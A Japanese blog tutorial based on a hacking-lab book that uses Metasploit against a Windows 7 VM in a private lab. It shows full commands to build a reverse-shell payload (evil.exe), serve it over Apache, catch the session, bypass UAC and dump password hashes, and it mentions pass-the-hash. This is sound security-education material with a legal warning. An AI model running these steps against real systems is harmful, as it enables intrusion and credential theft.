MetasploitFrameworkでのWindows7のハッキング
今回の記事から、前中後編でMetasploit Frameworkでのハッキングを行う。
前編の今回は、Metasploitの起動からパスワードのハッシュの入手までを行う。
『ハッキング・ラボのつくりかた』でのp.238〜p.254に当たる。
ハッキング・ラボ環境のネットワークを確認する。
-
KaliLinux(攻撃端末)
- アダプタ1(必須・Windows7と接続するため)
割当:ホストオンリアダプタ
名前:vboxnet0
IPアドレス:192.168.56.2(当環境において) - アダプタ2(任意・インターネットに接続するため)
割当:NAT
IPアドレス:10.0.3.15
- アダプタ1(必須・Windows7と接続するため)
-
Windows7(やられ端末)
- アダプタ1
割当:ホストオンリアダプタ
名前:vboxnet0
IPアドレス:192.168.56.108
- アダプタ1
注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。
Metasploitを起動する
KaliLinuxの端末を立ち上げて、次のコマンドを実行。msfconsole
を実行した後、msf>
のプロンプトが立ち上がるまで時間がかかる。banner
コマンドでバナーが表示される。
バナーが必要ない場合、msfconsole -q
とする。バナーが表示されたほうが、msfconsoleが正常に起動しているか否かわかりやすいため、最初はmsfconsole
とする。
$ msfconsole
banner
msfconsoleのオプション・コマンドについて
show -h
でshowコマンドについてのヘルプが表示される。
ここからしばらくは寄り道をして、msfconsole上で使うコマンドやパラメタを詳しく見ていきたい。飛ばしたいときは、「ペイロードの作成」の章まで飛ばしてください。
show -h
このヘルプによると、showコマンドのパラメタには、つぎの種類がある。(Additional module-specific parametersを除く)
- all
以下のパラメタの内容すべてを表示。 - encorders
暗号化するモジュールencorderを一覧表示 - nops
A NOP generator produces a series of random bytes that you can use to bypass standard IDS and IPS NOP sled signatures. Use NOP generators to pad buffers.
NOPジェネレータを一覧表示
A NOPジェネレータは、スタンダードなIDS・IPSNOPスレッド署名をバイパスするために使用できるランダムなバイト数列を生成する。パッドバッファーのためにNOPジェネレーターを使う。 - exploits
exploitを一覧表示
脆弱性を突く攻撃プログラムを指す - payloads
payloadを一覧表示
exploitがシステムを侵害した後に実行されるシェルコード。ペイロードを使用すると、シェルへの接続方法と、シェルを制御した後にターゲットシステムに対して操作が実行可能。ペイロードは、Meterpreterまたはコマンドシェル(cmdあるいはpowershell)を開くことができる。 Meterpreterは、必要に応じて新しい機能を動的に作成するためのDLLファイルを作成できる高度なペイロードです。 - auxiliary
補助モジュールを一覧
補助モジュール。ペイロードを実行しない。exploitationに直接関係しない可能性のある任意のアクションを実行するために使用。補助モジュールの例には、スキャナー、ファザー、サービス拒否攻撃などがあります。 - post
Post-exploitのこと?を表示
Exploit後のさらなる情報収集やアクセスのためのモジュール。ハッシュダンプの収集やアプリケーションやサービスを列挙する。 - plugins
プラグインを表示 - info
info <module_name> でモジュールについての詳細情報を表示。 - options
オプション
コマンドの例
show exploits
show payloads
全体的なヘルプは、help
コマンドを実行すると表示される。
そこには、コマンドの一覧と実行例などが表示される
主なコマンド(今後使用する予定のコマンド)は以下の通り
コマンド
- ? : ヘルプ
- cd : カレントディレクトリを変更
- exit : コンソールmsfconsoleを終了
- get : context-specific変数の値を取得
- getg : グローバル変数の値を取得
- grep : 他のコマンドの出力をgrepする
- help : ヘルプ
- history : コマンド履歴を表示
- load : フレームワークプラグインをロード
- quit : コンソールmsfconsoleを終了
- sessions : ダンプセッションのリストとセッションのついての情報の表示
- set : context-specific変数の値を設定
- setg : グローバル変数の値を設定
- threads : バックグラウンドのスレッドの表示と操作
- unload : フレームワークプラグインのアンロード
- unset : context-specific変数の設定取り消し
- unsetg : グローバル変数の設定取り消し
- version : フレームワークとコンソールライブラリのバージョン表示
モジュールコマンド
- back : 現在のコンテキストに戻る
- favorite : お気に入りのモジュールのリストにモジュールを加える
- info : モジュールの情報を表示する
- options : モジュールのオプションを表示する
- search : モジュールの名前と詳細から適合するモジュールを探索する
- show : 指定されたモジュールタイプあるいはすべてのモジュールを表示
- use : 名前または検索用語/インデックスでモジュールを操作する
ジョブコマンド
- handler : ペイロードハンドラーをジョブとして開始する
- jobs : ジョブの表示と管理
- kill : ジョブをキルする
- rename_job : ジョブの名前を変更
ランク付け
すべてのexploitモジュールには、ターゲットシステムへの潜在的な影響に基づいてランクが割り当てられています。
ランクは
- excelent
- great
- good
- normal
- average
- low
- manual
の順番となっており、excelentが最も洗練されている。システムをクラッシュさせることなく、任意のコマンドを実行できる。
greatは、エクスプロイトにはデフォルトのターゲットがあり、適切なターゲットを自動検出します。
goodは、エクスプロイはデフォルトのターゲットを持つが、ターゲットを自動検出しない。
normalは、このエクスプロイトは他の点では信頼できますが、このタイプのソフトウェアの「一般的なケース」ではなく、確実に自動検出できない(または自動検出できない)特定のバージョンに依存します。
averageは一般的なプラットフォーム上での成功確率は50%以上(高いように見えるが、exploitするには信頼性に疑問が残る)
lowは、成功確率50%未満となっている。
manualは、基本的に使用は推奨されない。不安定であるか、exploitが困難であり、15%以下の成功率である。
詳しく、より正確な記述は、 Github Exploit Ranking を参照のこと。
searchコマンドでモジュールを検索してみる
パス形式でモジュールを指定する。
検索演算子を使用してモジュールを検索する。
検索演算子を使用して、特定のモジュール名、パス、プラットフォーム、作成者、CVE ID、BID、OSDVB ID、モジュールタイプ、またはアプリケーションに基づいてクエリを作成後、一致する結果が一覧表示される。
-
search
コマンドの文法
search <検索するオペレータ>:<検索する用語(ターム)>
使用できるオペレータ
- name
- path
- platform
- type
- app
- author
- cve
- bid
- osdvb
「Windows向け」で「TCP型のリバースシェル」かつ「ペイロード」のモジュールを検索したいなら、次のコマンドを実行。(同書にも同様の記述有り)
search type:payload reverse_tcp platform:windows
今回は、コマンド実行後に表示されたリスト表示されたエクスプロイトから
47 payload/windows/meterpreter/reverse_tcp
を使ってペイロードを作成する。
ペイロードの作成
ペイロードとは、exploitがシステムを侵害した後に実行されるシェルコードのこと。
同書p.242には、
悪意のある動作をする実行コードのことです。本書では、(実行コードの意味での)ペイロードから生成した実行プログラムもペイロードと表現することにします。
とある。
作成するのは、Windows7で実行可能なTCP型リバースシェルのペイロードとなる。このペイロードが実行されると、運が良ければKaliからWindows7を遠隔操作可能となる。
ペイロードの作成は、msfvenom
コマンドを利用する。ここでは、msfプロンプト上で作成しているが、端末のプロンプト上でも、作成可能である。
コマンド内容は、以下のとおりにした。 "-o"やLHOSTに何を指定するかは環境によって違う。
msfプロンプトでコマンドを実行する場合も端末の一般ユーザーのプロンプトで実行する場合も、
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.2 -f exe -o $HOME/payloads/evil.exe
と実行する。
パラメタLHOSTには、KalilinuxのローカルIPアドレスを指定した。
実行後に、指定したパスにexeがあることを確認。
オプション
- -p:ペイロードのパス(Metasploit上のパス)
- -f:出力ファイルの形式(Windowsなので.exe)
- -o:出力ファイルのパス(OS上のパス)
ペイロードの設置とリバースシェルの待受
1.ペイロードの設置
新規に端末を立ち上げて、コマンド実行
apache2のサーバーディレクトリに新規フォルダshareを作成してペイロードevil.exeを配置
cd /var/www/html/
sudo mkdir share
sudo cp $HOME/payloads/evil.exe share/
sudo chmod -R 755 share/
sudo systemctl restart apache2
Windows7でブラウザ(IE)を起動して、http://192.168.56.2/share にアクセスすると、「evil.exe」があるので、ダウンロードしてWindows7から実行する。
もちろん、ターゲットにこのファイルをダウンロード・実行してもらうには、巧妙な仕掛けが必要である。また、アンチウイルスによってブロックされる可能性も想定しなければならない。(今回は、WindowsDefenderのリアルタイムスキャンをオフにした
)
同書では、service apache2 restart
となっているが、systemctlコマンドも利用できる。
また、KaliLinuxは、デフォルトではOS起動時にapache2が起動しない設定になっているので、sudo systemctl enable apache2
で自動起動しておいたほうが便利。
2.リバースシェルを待ち受ける
Kali側のmsfプロンプトにて、ハンドラモジュールを使う。このモジュールは、バインドシェルでターゲットに接続したり、リバースシェルからの接続を待ち受けたりするのに用いられる。
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.56.2
show options
exploit
payloadはwindows/meterpreter/reverse_tcpをセット
LHOSTはKaliLinuxのIPアドレスをセット
show options
で、下の画像の通りになる
exploit
で実行。成功すると、meterpreterプロンプトが実行・表示される。
3.セッションが確立されていることを確認
Windows側でコマンドプロンプトを起動して、次のコマンドを実行
netstat -n | find "ESTABLISHED"
Windows7の遠隔操作を開始
pwd
cd ..
cd Desktop
ls
dir
help
pwd
やls
のようなUNIX系のコマンドも利用可能である。
help
で、使用できるコマンド一覧が表示される。
パスワードハッシュを入手
パスワード解析の前提
同書p.248から引用
Windowsのパスワード解析には、いくつかの代表的なアプローチがあります。
①パスワードハッシュを入手して、パスワード解析によって、元のパスワードを特定する。
②"lsass.exe"プロセスから平文のログオン情報を取得する。
③パスワードハッシュを入手して、ターゲットに送信してログオンする。①のアプローチは、パスワード解析において最も基本となる方法です。パスワードハッシュの取得するには様々な方法がありますが、解析の流れとしては同じになります。
②のアプローチは、メモリ上ではパスワードが平文の状態で存在するという仕様を逆手に取った攻撃方法です。PwdumpやGsecdumpといった専用ツールで読み取れます。
③のアプローチは、Windowsのネットワークログオン(SMB共有経由での認証)の仕様を逆手に取った攻撃方法です。この攻撃をPass the Hashといいます。特に、AD(ActiveDirectory)管理下では、ログオンするためにネットワークで認証データをやり取りします。パスワードハッシュを取得済みであれば認証データを偽造できるため、この攻撃を実現できるわけです。AD管理下のすべての端末が攻撃対象になります。
今回は、1のパスワードハッシュの入手・解析する方法を採る。
Windowsのローカルアカウントであれば、SAMデータベース(C:\Windows\System32\config\SAM)、ドメインアカウントであれば
AD上のデータベース(C:\Windows\NTDS\ntds.dit)というパスワードハッシュで管理されている。
パスワードハッシュの奪取を実行
run hashdump
getsystem -t 1
エラーが出るはず。この理由は、管理者権限が取れないから。
管理者権限がないと、他の操作にも制限がかかることになるので、ぜひ取りたい所。
Exploitには権限を昇格させるためのモジュールexploit/windows/local/bypassuacが含まれているので、これを使うことにしたい。そのためには、複数のexploitをmsfconsoleで実行する必要がある。
- msfconsoleで同時に複数のexploitを実行
現在のmeterpreterプロンプトの状態から、background
でmsfプロンプトに戻る。
background
接続中のMeterpreterセッションを確認する。
sessions -i
#あるいは
sessions
- 管理者権限の奪取
getsystem
コマンドでsystem権限をダッシュできなかったのは、UAC機能によりブロックされてしまったため。そこで、UAC機能をバイパスするモジュールexploit/windows/local/bypassuacを使う。すでに確立しているセッションを通して、Exploitを実行する。
use exploit/windows/local/bypassuac
show options
\#オプションを一度確認しておく
set session 1
\#1は、session_idを指す。条件によってsession_idは変わる。
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.56.2
show options
exploitのモジュール設定の際に、オプションの「Name」の部分が、同書では大文字で指定されている。(例えば、"LHOST"や"SESSION"など)
小文字でも指定("lhost"や"session"など)できる。小文字で指定しても動作に支障はなかった。
下の画像のようになっているか確認する。
間違いないか、確認したらexploit
で実行。"BypassUAC can bypass this setting, continuing.."が確認でき、エラーが出ていないことを確認する。
- 新しいセッションでSYSTEM権限を奪取
getsystem -t 1
おそらく、正常に実行完了する。
しかし、同書p.253のとおりに、run hashdump
を実行すると・・・
run hashdump
"Meterpreter scripts are deprecated. Try post/windows/gather/smart_hashdump."と表示される。どうやら、ハッシュダンプの奪取には"post/windows/gather/smart_hashdump"を代わりに使ってというとらしい。以下、だらだらとエラーが表示される。
指示通りに、post/windows/gather/smart_hashdumpを実行する。
background
use post/windows/gather/smart_hashdump
show options
#オプションを事前に確認しておく
set getsystem true
#getsystemをtrueに
set session 2
#session_idに2を指定
exploit
必ず、管理者権限が取れているセッションのsessionIDを指定する(今回の場合だとsessionIDは2)。管理者権限が取れていないセッションを指定しても失敗する。取得したハッシュダンプは、画面に表示されるほか、/home/kali/.msf4/loot/以下に保存される。
post/windows/gather/smart_hashdumpを使う方法は、同書には記されていない。exploitやKaliLinux側で何かしらの変更があったのだろう。現行のKaliLinuxでは、既述のエラーが起こる可能性が高い。
終わりに
次回は、ハッシュダンプの解析からバックドアの設置までをする予定です。
Qiitaのマークダウンにはまだ慣れていないので、おかしな部分があるかもしれません。とくに「コードの挿入」です。利用する際は、コピペしないで、手入力でコマンド入力・実行をしてください、
- 参考にしたもの
『ハッキング・ラボのつくりかた』(IPUSION著)